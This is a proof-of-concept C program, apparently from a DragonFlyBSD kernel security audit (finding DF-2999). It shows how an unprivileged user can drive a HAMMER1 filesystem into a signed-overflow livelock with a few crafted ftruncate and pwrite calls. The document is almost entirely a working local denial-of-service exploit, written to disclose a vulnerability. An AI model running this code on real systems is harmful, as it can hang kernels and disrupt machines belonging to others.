DragonFlyBSD Kernel Audit
DF-2999 / op2999.c
← back to finding ↓ download raw
/*
 * DF-2999 PoC: hammer1 (HAMMER1) missing va_size clamp -> DF-2921-class
 * signed overflow in nvtruncbuf()/nvnode_pager_setsize().
 *
 * hammer_vop_setattr() (sys/vfs/hammer/hammer_vnops.c:2261-2286) passes the
 * unclamped 64-bit va_size straight to nvtruncbuf()/nvextendbuf().  With
 * blksize=HAMMER_XBUFSIZE(64K) for offsets >= HAMMER_XDEMARC(1MB):
 *
 *   ftruncate(fd, 0x7ffffffffffff000)   -> extend (nvextendbuf)
 *   pwrite 1 byte near the end          -> dirty the last block
 *   ftruncate(fd, 0x7fffffffffff8000)   -> truncate; boff=0x8000;
 *        truncloffset = 0x7fffffffffff8000 + (65536-0x8000) = 2^63 -> INT64_MIN
 *        (vfs_vm.c:149)  and nobjsize arithmetic-shifts to ~0xFFF8000000000000
 *        (vfs_vm.c:464) -> unmap loop iterates ~2^63 times (vfs_vm.c:486).
 *
 * Run as an UNPRIVILEGED user on a HAMMER1 mount.  On a vulnerable kernel
 * the second ftruncate never returns (unkillable livelock).
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df2999.bin";

	setvbuf(stdout, NULL, _IONBF, 0);
	int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }

	if (ftruncate(fd, 0x7ffffffffffff000LL)) {
		printf("extend-> %s\n", strerror(errno));
		return 1;
	}
	printf("extend  to 0x7ffffffffffff000: OK\n");

	if (pwrite(fd, "A", 1, 0x7fffffffffffefffLL) != 1)
		printf("pwrite top: %s\n", strerror(errno));
	else
		printf("pwrite top byte: OK\n");

	if (ftruncate(fd, 0x7fffffffffff8000LL)) {
		printf("trunc -> %s\n", strerror(errno));
		return 1;
	}
	printf("truncate to 0x7fffffffffff8000: OK (returned!)\n");

	if (ftruncate(fd, 0)) { perror("zero"); return 1; }
	printf("cleanup truncate to 0: OK\n");
	close(fd);
	unlink(path);
	return 0;
}